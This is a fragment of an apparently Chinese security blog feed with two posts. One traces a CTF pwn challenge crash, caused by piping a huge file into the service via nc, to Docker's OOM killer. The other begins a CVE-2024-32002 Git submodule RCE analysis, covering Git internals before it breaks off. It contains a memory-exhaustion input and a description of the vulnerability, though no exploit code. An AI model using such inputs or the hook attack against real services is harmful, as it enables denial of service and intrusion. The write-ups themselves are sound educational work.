class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，当我们企图构建巨大的vector的时候，会因为超出数据逻辑而导致崩溃：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( v3 - std::vector&lt;<span class="type">int</span>&gt;::<span class="built_in">size</span>(a1) &lt; a2 )</span><br><span class="line">  std::__throw_length_error(a3);</span><br></pre></td></tr></table></figure><p>理论上来说，确实是一个可能的因素。然而我注意到，队友提到的是<strong>上传文件导致的崩溃</strong>，这个题目并非是上传的题，也就是这里存在表述错误，那么如何理解上传呢？多次沟通后得知，这里其实使用了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat test.bin | nc </span><br></pre></td></tr></table></figure><p>的方式<strong>将一个16g的巨大文件写入了网络流</strong>。但是这样就引发了我的一个好奇的点：这种pwn题为了进入这个逻辑，往往是需要多次交互的，难道这个做题人故意生成了一个巨大的文件，里面包含了多次交互逻辑，从而将这个程序撑爆了吗？如果它有这种想法的话，何不直接用脚本写一个循环，类似</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000000</span>):</span><br><span class="line">    buy_obj(<span class="string">&#x27;a&#x27;</span>)</span><br></pre></td></tr></table></figure><p>这样的逻辑简单得多？所以我这里猜测，可能做题人并非是有意撑坏<code>buy_list</code>这个vector，而是企图撑坏别的对象，那个对象可能会让人联想到文件，所以才会采用文件的方式进行通信。</p><h3 id="进一步确认-bad-alloc">进一步确认 - bad alloc?</h3><p>怀着这个疑问，在比赛结束后我也找做题的同学沟通了一下这个事情。他提到说看到原题目中的<code>try catch</code>就联想到了可以使用<code>std::string</code>中可能发生的<code>bad alloc</code>来触发漏洞。这一点倒是符合我的猜想，毕竟这个题目中，在购买逻辑里就有输入名字的要求，也许就是利用了这一点吗？</p><p>于是我尝试自己复现，为了可能复现内存耗尽的情况，这里使用了参数约束了容器的内存大小:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo docker run -p 9999:9999 -m 7M --privileged --security-opt seccomp=unconfined -it pwn /bin/bash       </span><br></pre></td></tr></table></figure><p>然而在实际测试中，却发生了奇怪的事情：我发现程序在崩溃的时候，并没有发生期待的<code>asan</code>报错，而是直接打印了flag：</p><p><img src="/2025/03/30/%E4%B8%80%E6%AC%A1%E6%AF%94%E8%B5%9B%E5%87%BA%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84docker%E5%AD%A6%E4%B9%A0/docker02.png" alt=""></p><p>这里让我感觉非常疑惑。根据我们原来的猜测，程序通过<code>bad alloc</code>，然后抛出异常。然而这个过程中理论上需要打印出错信息，这个过程中没有任何错误信息就很奇怪。为什么不能打印错误呢？我产生了以下几种猜想</p><ul><li>程序本身因为特殊原因，导致无法打印错误流</li><li>程序本身就没有产生错误信息</li></ul><p>其中，第一种原因可以细化成几种原因</p><ul><li>程序的输入输出流因为读入过量数据损坏了，也许这就是程序崩溃的原因</li><li>程序有错误流输出，但是因为错误流被劫持了，导致输出看不到</li></ul><p>为了一个个定位原因，首先修改了<code>runner.cpp</code>的逻辑，加上了错误流打印:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> fd = <span class="built_in">open</span>(<span class="string">&quot;/tmp/log.txt&quot;</span>, O_WRONLY | O_CREAT | O_APPEND, <span class="number">0644</span>);</span><br><span class="line"><span class="keyword">if</span> (fd == <span class="number">-1</span>) &#123;</span><br><span class="line">    <span class="built_in">perror</span>(<span class="string">&quot;open log file failed&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 将 stderr 重定向到 log.txt</span></span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">dup2</span>(fd, STDERR_FILENO) == <span class="number">-1</span>) &#123;</span><br><span class="line">    <span class="built_in">perror</span>(<span class="string">&quot;dup2 failed&quot;</span>);</span><br><span class="line">    <span class="built_in">close</span>(fd);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然而实际运行至触发的时候，虽然会产生该日志文件，但是文件内容却是空的。这就非常奇怪了，无论哪种报错，程序至少应该要楼下错误信息，这样怎么定位呢。</p><h3 id="docker-与-oom">docker 与 OOM</h3><p>之后尝试过多种方法，包括但不限于</p><ul><li>怀疑是<code>runner.cpp</code>将输入流劫持，所以直接使用attachment直接与输入输出流对接。然而这样做会直接导致asan被触发，无法定位错误</li><li>怀疑xinted会导致asan输出流被劫持，所以替换asan为非asan版本，但是也没能看到其他的输出</li><li>拖入gdb进行调试，然而gdb会直接报错提示<code>Killed</code></li></ul><p><em>其中gdb这个错误让我感到异或，我一度以为是gdb版本问题导致的错误，不过这也成了后面一个操作的提示</em></p><p>为了能够完全复现问题，这边试着模仿最初的做题人的思路，使用文件作为输入。这里构建了一个能够完成简单交互的例子，并且之后写入大量数据的文件:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;test.bin&quot;</span>, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> fd:</span><br><span class="line">    fd.write(<span class="string">b&quot;1\n&quot;</span>)</span><br><span class="line">    fd.write(<span class="string">b&quot;1\n&quot;</span>)</span><br><span class="line">    fd.write(<span class="string">b&quot;A&quot;</span>*<span class="number">0x1000000</span> + <span class="string">&quot;\n&quot;</span>)</span><br></pre></td></tr></table></figure><p>之后再首先的doker环境中，直接使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat test.bin | ./runner</span><br></pre></td></tr></table></figure><p>的方式尝试复现问题，发现其同样报错提示</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Killed</span><br></pre></td></tr></table></figure><p>这个奇怪的现象和gdb非常相似，联想到我们的docker内存大小仅有7M，不禁联想到：这是否是因为内存空间不足导致程序被强制干掉了？使用<code>echo $?</code>检查错误码后会发现，程序错误码为137，也就是收到了<code>SIGKILL</code>信号。咨询gpt后可知，当linux下程序占用过多内存的时候，就会触发<code>OOM Killer</code>，强制终止进程，保证系统正常工作。</p><p>这个原因听起来非常合理，因为实际上我们的检测逻辑并非检测<strong>是否存在asan报错</strong>，而是<strong>检查程序的退出码，确认其是否为正常退出</strong>，这就意味着，除了程序自身的错误导致的退出外，<strong>来自外部信号导致程序退出</strong>也会被视为是触发了漏洞，这一点正好对应了无论怎么检查程序<strong>都没有找到出错日志</strong>这个原因上。</p><p>进一步咨询gpt，可以知道为了检查程序是否会因为OOM发生被kill的情况，可以使用指令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dmesg | grep -i &quot;killed process&quot;</span><br></pre></td></tr></table></figure><p>检查日志，结果确实找到了如下的内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[13157.135036] runner invoked oom-killer: gfp_mask=0x1100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0                                                                                                     [13157.138313]  oom_kill_process.cold+0xb/0x10                                                                                                                                                                   [13157.146478] [  pid  ]   uid  tgid total_vm      rss pgtables_bytes swapents oom_score_adj name                                                                                                                [13157.148489] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=b8d0b3d7f8a1c3cd8415c3dc27474181ab6a69d4de70d569eeac11cf99f90dc8,mems_allowed=0,oom_memcg=/docker/b8d0b3d7f8a1c3cd8415c3dc27474181ab6a69d4de70d569eeac11cf99f90dc8,task_memcg=/docker/b8d0b3d7f8a1c3cd8415c3dc27474181ab6a69d4de70d569eeac11cf99f90dc8,task=runner,pid=10972,uid=0                                                                     [13157.150468] Memory cgroup out of memory: Killed process 10972 (runner) total-vm:21474910272kB, anon-rss:4476kB, file-rss:1480kB, shmem-rss:0kB, UID:0 pgtables:896kB oom_score_adj:0        </span><br></pre></td></tr></table></figure><p>可以发现，确实是docker动的手，强制将目标程序给干掉了。</p><h4 id="小科普：oom-killer-和-cgroup">小科普：OOM Killer 和 cgroup</h4><p>日志中出现了几个比较特殊的词语，我们在这里简单的介绍一下这些词的含义：</p><p><a href="https://blog.csdn.net/qq_34556414/article/details/120507761">参考这篇文章</a>可知，Linux运行的时候，使用<code>malloc</code>这类函数分配内存的时候，允许分配超出实际可用的物理内存的大小（<code>over-commit memory</code>），因为malloc本质上分配的是虚拟内存地址，只有当真的需要写入数据的时候，Linux才会真的去获取物理内存。这种【预支内存】的方式如果真的导致了进程空间不足，就会强制kill一个正在运行中的程序，从而保证物理内存在足够使用的范围内。这个机制就被称为 OOM Killer</p><p>而Cgroup是一种Linux内核提供的机制，用来对单个或者多个程序的内存，cpu等资源进行管理。而docker这种容器正是使用了这个机制对容器进行的管理。当我们docker指定的内存空间（在我们题目中是7M）被耗尽的时候，docker就会尝试触发OOM Killer机制，将cgroup中（也就是当前容器中）的一些进程kill掉，从而保证内存消耗不会超出我们的指定需求</p><h2 id="总结">总结</h2><p>绕了一大圈定位出问题，发现似乎并非程序本身的问题，而是因为docker的防护机制导致的程序退出。不过此次探索这也揭露了一些有趣的事情，比如为什么很多出题人都会限制可读入数据的大小（使用<code>cin.get(size)</code>而不是直接让程序读入数据），亦或者在检测asan出错的时候，会严格限制输出内容需要包含asan的字符串，而不是直接检查程序的错误码。这些设计可能更多的是为了保证整体程序运行能够符合程序逻辑，从而减少非预期的出现。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在周末和战队队友们一起运维了一次校赛，虽然大多数时候我只负责OB，不过最后还是小小的帮了点忙。在这期间，有一个pwn题的非预期做法引起了我的注意，并且在最终发现其本质上是一个docker引发的问题。这里记录一下整个探索过程&lt;/p&gt;
&lt;h2 id=&quot;more-一次比赛出题引发的docker学习&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Docker" scheme="https://showlinkroom.me/tags/Docker/"/>
    
  </entry>
  
  <entry>
    <title>GITRCE-CVE-2024-32002分析</title>
    <link href="https://showlinkroom.me/2024/05/24/GITRCE-CVE-2024-32002%E5%88%86%E6%9E%90/"/>
    <id>https://showlinkroom.me/2024/05/24/GITRCE-CVE-2024-32002%E5%88%86%E6%9E%90/</id>
    <published>2024-05-24T07:12:34.000Z</published>
    <updated>2024-05-25T09:34:25.282Z</updated>
    
    <content type="html"><![CDATA[<p>前阵子出现的一个神奇的洞，有同事问起，就进一步研究了一下，发现还挺有意思的，这里遂作记录。</p><span id="more"></span><h2 id="git-也能-rce-cve-2024-32002">Git 也能 RCE – CVE-2024-32002</h2><h2 id="漏洞描述">漏洞描述</h2><p>官方描述为</p><blockquote><p>Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule’s worktree but into a <code>.git/</code> directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. If symbolic link support is disabled in Git (e.g. via <code>git config --global core.symlinks false</code>), the described attack won’t work. As always, it is best to avoid cloning repositories from untrusted sources.</p></blockquote><p>从描述中，可以摘取几个关键内容</p><ul><li>该漏洞由符号链接引发</li><li>漏洞涉及submodule</li><li>本该涉及submodule的操作最后指向了<code>.git</code>目录，最终导致了漏洞的发生</li><li><code>git clone</code>过程中将会引发hook，导致恶意利用发生，因此用户可能不能及时的看到恶意代码的行为</li><li><code>git hook</code>将会参与整个漏洞的利用链</li></ul><p>总结一下，漏洞<strong>发生在git clone</strong>阶段，并且操作对应的<code>submodule</code>模块，因为漏洞的原因，<strong>未将数据写入对应目录</strong>，而是将数据<strong>写入.git</strong>目录，并且最终触发了一个hook脚本，导致了漏洞的发生。</p><h3 id="git基础补习">git基础补习</h3><p>如果想要看懂这个洞，需要对git的目录结构要有基本的认知。如果对这一部分知识了解，可以直接跳到<strong>漏洞成因</strong></p><p>当我们执行<code>git clone</code>操作的时候，实际上执行了以下几个操作</p><ol><li>创建指定的仓库名字<code>mkdir -p &lt;path&gt;</code></li><li>初始化git仓库<code>git init</code></li><li>添加远程仓库<code>git remote add origin &lt;url&gt;</code></li><li>下载对象引用等<code>git fetch origin</code></li><li>创建远程跟踪分支<code>git branch --track &lt;branch&gt; origin/&lt;branch&gt;</code></li><li>检出默认分支<code>git checkout &lt;branch&gt;</code></li></ol><p>实际上，代码文件在第4步就会被下载下来，并且存放在<code>.git</code>文件中，之后由对应的<code>branch</code>和<code>checkout</code>操作来进行编辑组合。举个例子来说，假设我们现在有一个空仓库叫做<code>main-repo</code>，此时我们在其中创建文件<code>main.txt</code>，<code>main.txt</code>中包含内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">main testintg</span><br></pre></td></tr></table></figure><p>在未commit的时候，此文件结构如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">├── .git</span><br><span class="line">│   ├── HEAD</span><br><span class="line">│   ├── config</span><br><span class="line">│   ├── description</span><br><span class="line">│   ├── hooks // 省略这其中的文件</span><br><span class="line">│   ├── info</span><br><span class="line">│   │   └── exclude</span><br><span class="line">│   ├── objects</span><br><span class="line">│   │   ├── info</span><br><span class="line">│   │   └── pack</span><br><span class="line">│   └── refs</span><br><span class="line">│       ├── heads</span><br><span class="line">│       └── tags</span><br><span class="line">└── main.txt</span><br></pre></td></tr></table></figure><p>此时，如果我们将这个修改commit之后，目录结构会变成如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── .git</span><br><span class="line">│   ├── COMMIT_EDITMSG</span><br><span class="line">│   ├── HEAD</span><br><span class="line">│   ├── config</span><br><span class="line">│   ├── description</span><br><span class="line">│   ├── hooks // 省略其中的内容</span><br><span class="line">│   ├── index</span><br><span class="line">│   ├── info</span><br><span class="line">│   │   └── exclude</span><br><span class="line">│   ├── logs</span><br><span class="line">│   │   ├── HEAD</span><br><span class="line">│   │   └── refs</span><br><span class="line">│   │       └── heads</span><br><span class="line">│   │           └── master</span><br><span class="line">│   ├── objects</span><br><span class="line">│   │   ├── 0c</span><br><span class="line">│   │   │   └── 202734567eabc38e3465a1326a7074264e62db</span><br><span class="line">│   │   ├── 4b</span><br><span class="line">│   │   │   └── 825dc642cb6eb9a060e54bf8d69288fbee4904</span><br><span class="line">│   │   ├── 68</span><br><span class="line">│   │   │   └── c0443c8b532833b48a835215ff1f2dac33af2a</span><br><span class="line">│   │   ├── af</span><br><span class="line">│   │   │   └── 21301bdaa5b13a83f26ed8a7eee5f60f06c8d4</span><br><span class="line">│   │   ├── info</span><br><span class="line">│   │   └── pack</span><br><span class="line">│   └── refs</span><br><span class="line">│       ├── heads</span><br><span class="line">│       │   └── master</span><br><span class="line">│       └── tags</span><br><span class="line">└── main.txt</span><br></pre></td></tr></table></figure><p>此时我们的commit 如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">commit 68c0443c8b532833b48a835215ff1f2dac33af2a (HEAD -&gt; master)</span><br><span class="line">Author: </span><br><span class="line">Date:   Sat May 25 10:19:03 2024 +0800</span><br><span class="line"></span><br><span class="line">    Add main.txt</span><br></pre></td></tr></table></figure><p>可以看到，commit正对应着目录<code>68</code>，而文件名正好就是68后面的一串hash，可以看到这些目录和log存在一定的对应关系，这些关系是什么呢？这就要牵扯到git的本质</p><h4 id="git-对象管理">git 对象管理</h4><p>git本质上是一个类文件管理系统，其使用一种称为<strong>对象模型</strong>的方式来存储数据。主要的 Git 对象类型包括：</p><ul><li><code>Blob（Binary Large Object）</code>：存储文件的内容。</li><li><code>Tree</code>：存储目录结构和文件名到 blob 引用的映射。</li><li><code>Commit</code>：存储指向 tree 对象的引用，以及提交信息（如作者、日期、父提交等）。</li></ul><p>使用指令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git cat-file -p 目录名+文件名</span><br></pre></td></tr></table></figure><p>即可查看对应的文件内容（这里文件名和git默认规则一样，不需要敲全）<br>我们检查之前提到的<code>68</code>目录下的文件，可以看到内容为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">git cat-file -p 68c0443</span><br><span class="line">tree 0c202734567eabc38e3465a1326a7074264e62db</span><br><span class="line">author  1716603543 +0800</span><br><span class="line">committer  1716603543 +0800</span><br><span class="line"></span><br><span class="line">Add main.txt</span><br></pre></td></tr></table></figure><p>这种文件就被称之为<code>commit</code>。然后可以看到其指向了一个叫做<code>tree</code>的对象，正好也对应了一个目录和文件，尝试访问可以得到如下结果</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git cat-file -p 0c20</span><br><span class="line">100644 blob af21301bdaa5b13a83f26ed8a7eee5f60f06c8d4    main.txt</span><br></pre></td></tr></table></figure><p>这个就是<code>tree</code>，表示对一个<code>blob</code>的引用，我们最后查看对应的<code>blob</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git cat-file -p af21</span><br><span class="line">main testintgl</span><br></pre></td></tr></table></figure><p>正是我们文件的内容。git正是使用了这种层级的对象管理机制，将所有的内容关联起来。</p><h4 id="submodule">submodule</h4><blockquote><p>有些时候，我们可能要再一个仓库中引用另一个仓库的内容，这个库可能是一个基础库，会在多个库中被使用，例如压缩，日志打印等等，为了能够正确处理上述的场景，在git中，支持将另一个仓库作为<code>submodule</code>引入到当前库中。</p></blockquote><p>在讨论子模块之前，我们需要区分为三个概念</p><ul><li>子模块的名字，体现在<code>--name</code>参数上，我们这里写作<code>&lt;name&gt;</code></li><li>子模块的路径，这个为倒数第二个参数，这里写作<code>&lt;submodule_repo&gt;</code></li><li>子模块在主仓库中的名字，这里写作<code>&lt;submodule_path&gt;</code></li></ul><p>之后我们会反复使用这三个概念来描述不同的术语。</p><p>例如我们有另一个库，叫做<code>submodule-repo</code>，里面有一个文件叫做<code>submodule.txt</code>，内容如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">cat .\submodule.txt</span><br><span class="line">&quot;This is the submodule&quot;</span><br><span class="line"></span><br><span class="line">git log</span><br><span class="line">commit fb0721550dd927a7d312d8bdcf14b98da9916c46 (HEAD -&gt; master)</span><br><span class="line">Author: </span><br><span class="line">Date:   Fri May 24 19:52:19 2024 +0800</span><br><span class="line"></span><br><span class="line">    Initial commit in submodule</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>此时文件结构如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">|</span><br><span class="line">+-main-repo</span><br><span class="line">| |</span><br><span class="line">| +-main.txt</span><br><span class="line">|</span><br><span class="line">+-submodule-repo</span><br><span class="line">  |</span><br><span class="line">  +- submodule.txt</span><br></pre></td></tr></table></figure><p>此时，假设我们想将其引入到我们主要仓库中，我们可以这样做</p><ol><li>将其作为一个叫做<code>submodule</code>的库，添加到当前的库中</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git submodule add ../submodule-repo submodule</span><br></pre></td></tr></table></figure><ol start="2"><li>提交修改</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git commit -m &quot;Add submodule&quot;</span><br></pre></td></tr></table></figure><p>那么此时，我们上面提及的三个参数分别为</p><ul><li>name:submodule</li><li>submodule_repo:…/submodule-repo</li><li>submodule_path: submodule</li></ul><p>此时我们再次检查<code>main-repo</code>的目录，结果如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── .git</span><br><span class="line">│   ├── COMMIT_EDITMSG</span><br><span class="line">│   ├── HEAD</span><br><span class="line">│   ├── config</span><br><span class="line">│   ├── description</span><br><span class="line">│   ├── hooks // 隐去部分内容</span><br><span class="line">│   ├── index</span><br><span class="line">│   ├── info</span><br><span class="line">│   │   └── exclude</span><br><span class="line">│   ├── logs</span><br><span class="line">│   │   ├── HEAD</span><br><span class="line">│   │   └── refs</span><br><span class="line">│   │       └── heads</span><br><span class="line">│   │           └── master</span><br><span class="line">│   ├── modules</span><br><span class="line">│   │   └── submodule</span><br><span class="line">│   │       ├── HEAD</span><br><span class="line">│   │       ├── config</span><br><span class="line">│   │       ├── description</span><br><span class="line">│   │       ├── hooks // 隐去部分内容</span><br><span class="line">│   │       ├── index</span><br><span class="line">│   │       ├── info</span><br><span class="line">│   │       │   └── exclude</span><br><span class="line">│   │       ├── logs</span><br><span class="line">│   │       │   ├── HEAD</span><br><span class="line">│   │       │   └── refs</span><br><span class="line">│   │       │       ├── heads</span><br><span class="line">│   │       │       │   └── master</span><br><span class="line">│   │       │       └── remotes</span><br><span class="line">│   │       │           └── origin</span><br><span class="line">│   │       │               └── HEAD</span><br><span class="line">│   │       ├── objects</span><br><span class="line">│   │       │   ├── 00</span><br><span class="line">│   │       │   │   └── 7744580def9ad1f0a8af7b6e41817d3c0e46a1</span><br><span class="line">│   │       │   ├── c0</span><br><span class="line">│   │       │   │   └── 26d12e4c219329af50ca23d0f4d86f6f21d09e</span><br><span class="line">│   │       │   ├── fb</span><br><span class="line">│   │       │   │   └── 0721550dd927a7d312d8bdcf14b98da9916c46</span><br><span class="line">│   │       │   ├── info</span><br><span class="line">│   │       │   └── pack</span><br><span class="line">│   │       ├── packed-refs</span><br><span class="line">│   │       └── refs</span><br><span class="line">│   │           ├── heads</span><br><span class="line">│   │           │   └── master</span><br><span class="line">│   │           ├── remotes</span><br><span class="line">│   │           │   └── origin</span><br><span class="line">│   │           │       └── HEAD</span><br><span class="line">│   │           └── tags</span><br><span class="line">│   ├── objects</span><br><span class="line">│   │   ├── 0c</span><br><span class="line">│   │   │   └── 202734567eabc38e3465a1326a7074264e62db</span><br><span class="line">│   │   ├── 4b</span><br><span class="line">│   │   │   └── 825dc642cb6eb9a060e54bf8d69288fbee4904</span><br><span class="line">│   │   ├── 4d</span><br><span class="line">│   │   │   └── 05ef05a10102a0e12b516af4fd978d40f05eb0</span><br><span class="line">│   │   ├── 68</span><br><span class="line">│   │   │   └── c0443c8b532833b48a835215ff1f2dac33af2a</span><br><span class="line">│   │   ├── af</span><br><span class="line">│   │   │   └── 21301bdaa5b13a83f26ed8a7eee5f60f06c8d4</span><br><span class="line">│   │   ├── info</span><br><span class="line">│   │   └── pack</span><br><span class="line">│   └── refs</span><br><span class="line">│       ├── heads</span><br><span class="line">│       │   └── master</span><br><span class="line">│       └── tags</span><br><span class="line">├── .gitmodules</span><br><span class="line">├── main.txt</span><br><span class="line">└── submodule</span><br><span class="line">    ├── .git</span><br><span class="line">    └── submodule.txt</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以发现，在<code>main-repo</code>目录中新增了如下内容</p><ul><li>根据<code>submodule_path</code>创建的<code>submodule</code>目录，里面包含了<code>submodule-repo</code>的内容，其中这里的<code>.git</code>为符号链接，指向<code>../.git/modules/submodule</code>，也就是<code>&lt;target_repo&gt;/.git/modules/&lt;name&gt;</code>这个路径</li><li><code>.gitmodules</code>文件</li><li><code>.git</code>目录中新增了<code>modules</code>，里面包含了一个由<code>&lt;name&gt;</code>命名的<code>submodule</code>的目录，如果此处使用了<code>--add name</code>，此时目录名字会被替换成<code>name</code>；这个目录中包含的是<code>submodule-repo</code>中<code>.git</code>的全部内容</li></ul><p>这里的<code>.gitmodules</code>文件记录了当前submodule的基本情况</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[submodule &quot;submodule&quot;]</span><br><span class="line">        path = submodule</span><br><span class="line">        url = ../submodule-repo</span><br></pre></td></tr></table></figure><ul><li>引号部分记录的正是<code>&lt;name&gt;``submodule_name</code>，如果我们此处加了参数<code>--add name</code>，那么引号部分将会被替换成<code>name</code></li><li>path 中记录了模块在这个仓库中的路径<code>&lt;submodule_path&gt;</code>，也就是我们最后跟着的参数，这个是【submodule实际的存放路径，以及检出后存放的路径】</li><li>url 中则记录了对应的路径<code>&lt;submodule_repo&gt;</code>，是倒数第二个参数</li></ul><p>同时我们也注意到，此时git会<strong>将子目录中的.git放到当前目录的.git中</strong>，存放规则为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.git/modules/&lt;name&gt;</span><br></pre></td></tr></table></figure><p><code>&lt;name&gt;</code>的命名支持为多级路径，例如如果命名为<code>path1/path2</code>，则此时存放路径就会变为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.git/modules/path1/path2</span><br></pre></td></tr></table></figure><p>整个<code>submodule</code>的clone过程，根据逆向分为两个部分</p><ol><li>尝试将对应仓库的<code>.git</code>单独<code>clone</code>下来，但是不进行checkout，根据分析代码，其指令大致如下</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone --no-checkout --progress 